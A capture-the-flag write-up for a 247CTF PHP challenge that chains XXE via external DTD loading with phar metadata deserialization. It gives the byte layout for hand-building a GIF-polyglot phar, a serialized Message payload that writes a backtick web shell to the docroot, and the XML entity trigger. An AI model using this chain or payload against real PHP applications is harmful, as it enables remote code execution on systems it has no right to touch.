247CTF // Meme Upload Service - Hand-Built Phar Meets XXE
247CTF // Meme Upload Service - Hand-Built Phar Meets XXE
Category: XXE, phar deserialization, file-format forensics
Stack: PHP 7.3, DOMDocument (LIBXML_DTDLOAD), Phar, Apache
- Hand-build the phar: stub
GIF8__HALT_COMPILER();, manifest-length field that excludes its own 4 bytes, big-endian API version, at least one file entry, and a signature trailer of[digest][packV(algo)]['GBMB']- the wrapper defaults to rejecting unsigned archives - Keep the total <=185 bytes: two-property serialization (missing properties default to null), md5 signature, minimal stub
- Upload it as a GIF - the stub passes extension, mime,
getimagesize, and size checks - Reference it as the external DTD of a message: an entity pointing at
phar:///tmp/images/<name>- opening the phar deserializes the metadata - The deserialized
Messagedestructor writesz.phpinto the docroot, carrying a backtick one-liner - Request the shell - the backtick expression executes on page load, catting the flag
1. The target
$msgXml = new DOMDocument();
$msgXml->loadXML($_POST["message"], LIBXML_DTDLOAD); // (a)
if ($msgXml->schemaValidate("valid_message.xsd")) { // (b)
$msgObj = new Message(<to>, <from>, <image>); // (c)
echo "Message stored " . $msgObj->filePath . "!"; // (d)
}
// Message::__destruct:
// file_put_contents($this->filePath,
// "Hey $to! Take a look at this meme: $from! - $image");
plus an image upload: extension whitelist {jpg,jpeg,gif,png}, mime whitelist,
getimagesize() must pass, and <= 185 bytes.
Four facts, each harmless alone:
- (a)
LIBXML_DTDLOADresolves external DTDs - through PHP stream wrappers,
including phar://.
- (b) validation happens *after* parsing - the DTD has already been processed.
- (c)/(d) the flag is not in this code at all; the win is code execution.
- PHP 7.3's phar wrapper unserializes manifest metadata on open (removed in 8.0).
The intended chain: upload a phar whose stub passes the GIF checks; reference it as
the external DTD of a message; opening the phar deserializes a planted Message
whose destructor writes a PHP shell to the docroot.
This writeup's real subject is the last mile: the official exploit calls PHP's
Phar class, which hides the binary format. Reproducing it without PHP means
satisfying phar_parse_manifest byte for byte - and every failure mode is silent.
2. The silent failure problem
DOMDocument::loadXML with LIBXML_DTDLOAD, when an external entity **fails to
load**, returns true anyway (it's a non-fatal warning). The schema then validates
your otherwise-fine document and the app cheerfully prints "Message stored". You get
a success message for a payload that did absolutely nothing.
Consequence: the XML response is not an oracle. Gate every revision on a side
effect you can observe: overwrite a file the app serves (the XSD works - fetch it
and see if its content changed), or simply request the shell you hoped to write.
Never trust the happy path.
3. The phar format, as the parser sees it
From php-src/ext/phar/phar.c (PHP-7.3) - the parser source is the documentation:
[ stub ] up to and including __HALT_COMPILER();
[ manifest_length ] uint32 LE - length of everything AFTER this field
[ manifest:
entry_count ] uint32 LE - MUST be >= 1 ("phars must have at least
1 entry"; 0 is a hard reject)
api_version ] 2 bytes, BIG-ENDIAN - 0x11 0x00 (API 1.1.0)
global_flags ] uint32 LE - set bit 0x00010000 (PHAR_HDR_SIGNATURE)
when signed
alias_length ] uint32 LE (0 = no alias)
metadata_length ] uint32 LE
metadata ] PHP-serialized - UNSERIALIZED HERE on PHP < 8.0
per-file entries: name_length(4) name size(4) mtime(4) compsize(4)
crc32(4) flags(4) file_metadata_length(4) [+ file metadata]
]
[ file contents, concatenated in entry order ]
[ signature: digest ][ packV(algo) ][ "GBMB" ] - the four magic bytes are NOT
optional; the reader's last-8-bytes check is
sig_flags(4) + memcmp("GBMB")
Digest covers everything before it: sha256(file[0 : size-40]) for sha256,
md5(file[0 : size-24]) for md5 (digest + 8-byte trailer).
phar.require_hash defaults to 1 - an unsigned archive is refused outright.
The stub nuance that matters: after __HALT_COMPILER(); the parser peeks three
bytes and skips an optional "\n?>"-ish sequence only if the first byte is a
space or newline; a manifest starting with a binary length byte is left alone.
4. The four (five) silent killers
Every one of these produced "Message stored" and nothing else:
| bug | rejection branch in phar.c |
|---|---|
| missing manifest-length field entirely | reads entry_count as length -> nonsense -> refuse |
| length field = 4 + body (includes its own bytes) | manifest over-reads by 4 -> refuse |
api version little-endian (0x00 0x11) | version 0x0011 < 0x1000 -> refuse |
| entry_count = 0 | explicit "phars must have at least 1 entry" |
unsigned, or signature without GBMB | phar.require_hash / trailer memcmp -> refuse |
And after all of that, a sixth: the shell glob. cat /t* matches the directory
/tmp itself, and cat on a directory prints nothing to stdout (the diagnostic
goes to stderr, which PHP's backtick capture discards). The shell executed
perfectly and returned empty. /t*/* - one extra character - is the difference
between "it doesn't work" and the flag.
5. Budget engineering: 185 bytes
The size cap forces the phar to be minimal:
- stub:
GIF8__HALT_COMPILER();(22 bytes) -GIF8satisfies fileinfo's GIF magic;
__HALT_COMPILER(); is mandatory. The full GIF89a header is unnecessary; the
truncated signature still passes both mime_content_type and getimagesize
(which is forgiving once it sees a GIF-ish prefix and enough bytes for a logical
screen descriptor).
- metadata: serialize only two properties (
to,filePath). Unserialized
declared properties that are absent default to null - the destructor tolerates it.
- signature: md5, not sha256 - 16-byte digest + 8-byte trailer vs 32+8.
phar.require_hash accepts any recognized algorithm; md5 is the budget choice.
- one file entry with an empty body; contents empty; no per-file metadata.
Final accounting: stub 22 + manifest (4+4+2+4+4+4+meta+4+1+24) + md5 trailer 24 ~
175 bytes - under the cap with room for the full /tmp/* glob.
6. The serialized payload
O:7:"Message":2:{s:2:"to";s:17:"<?=`cat /t*/*`?>";
s:8:"filePath";s:5:"z.php";}
torides into the destructor'ssprintfverbatim - the backtick expression is
evaluated when the written file is requested, not when it's written. That
order matters: the destructor finishes without executing anything dangerous, the
request completes, and only a later GET of z.php runs the command.
filePathis relative -> written to PHP's CWD, which for this deployment is the
docroot. (Gate this the same way as everything else: if z.php 404s, your
phar opened but CWD isn't the docroot - re-aim with an absolute path, budget
permitting.)
The XML trigger:
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY % xxe SYSTEM "phar:///tmp/images/<uploaded-name>">%xxe;]>
<message><to></to><from></from><image></image></message>
Validation passes because the schema only requires the three elements to exist;
their emptiness is fine. The external parameter entity opens the phar during DTD
processing - before validation, before the Message is built from the (empty)
elements, before the response. The deserialized Message outlives the request and
destructs at shutdown.
7. Discovery workflow that survives the silence
- 1. Fix the oracle first. Decide what "it worked" means before building the
payload: for this app, the XSD-overwrite test is perfect (destruct writes a file
the app serves; fetch it and compare).
- 2. Gate each format revision on the oracle. Length field? Oracle. Endianness?
Oracle. Signature? Oracle. Never two changes between oracle checks.
- 3. Only then swap the payload from the oracle (
filePath-> the served file)
to the shell (filePath -> z.php, to -> backtick one-liner).
- 4. Glob defensively. Prefer
/tmp/*over clever truncations; if you must
truncate, remember directories match single-star globs and cat them silently.
8. What transfers
- Silent failures are the default in parser-against-parser attacks. When layer A
(libxml) swallows errors on behalf of layer B (phar), pick an oracle in layer C
(the HTTP surface) and never trust layer A's success signal.
- Read the parser, not the spec. The spec says "the manifest begins with its
length"; only the source says whether that length includes itself, and the answer
there is "no".
- Defaults are attack surface.
phar.require_hash=1, PHP 7.3's eager metadata
unserialize, libxml's tolerant entity loading - none of these are choices the
developer made; all of them are choices the attacker makes.
- Size caps are design constraints, not obstacles. Every byte you save in the
archive is a byte you can spend in the payload - and md5-vs-sha256 is exactly the
kind of trade the cap forces you to notice.
Comments
Post a Comment